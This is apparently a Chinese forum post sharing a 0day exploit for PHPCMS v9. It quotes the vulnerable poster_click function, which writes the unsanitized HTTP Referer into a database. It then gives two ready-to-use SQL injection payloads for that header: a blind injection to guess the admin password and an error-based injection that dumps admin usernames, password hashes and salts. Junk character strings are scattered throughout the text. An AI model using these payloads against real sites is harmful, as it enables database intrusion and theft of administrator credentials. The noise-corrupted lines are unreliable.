phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
9 W5 t6 w' k/ y2 {0 f2 g/ L( g* C
, k8 f" L- S3 M问题函数\phpcms\modules\poster\index.php
* B+ M; G  d+ Z4 g( ?7 \
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
& o' ~! p7 X0 s$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
. S9 t/ Q$ f5 P. J4 m- X* K$ip_area = pc_base::load_sys_class('ip_area');
  S( `" u) C1 I1 q9 v: m1 u9 c$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
) n3 h7 M6 z4 \% S0 o}
1 @) w* }9 E# {7 |3 |$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
* @8 C! ?" K+ d$ `/ [  _if (count($setting)==1) {
$url = $setting['1']['linkurl'];
, G; ~& ?) Z/ J9 M} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
9 Z% p+ q( N7 @}
header('Location: '.$url);

) Z5 e+ R! p' i) `$ C

1、可以采用盲注入的手法：
# l' N& Z) ]7 G, _7 [* i
! v8 s# B( N& y+ b9 H4 }, mreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
% D- @0 p  c' }6 P
" j# k' }8 |4 |' d" Y7 |通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

1 A/ P3 p4 |; i2 k% C2 y* {+ D1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
" k4 M0 d2 v/ e7 J
9 S6 c; x. _  d9 s6 ]; g+ n1 P此方法是爆错注入手法，原理自查。
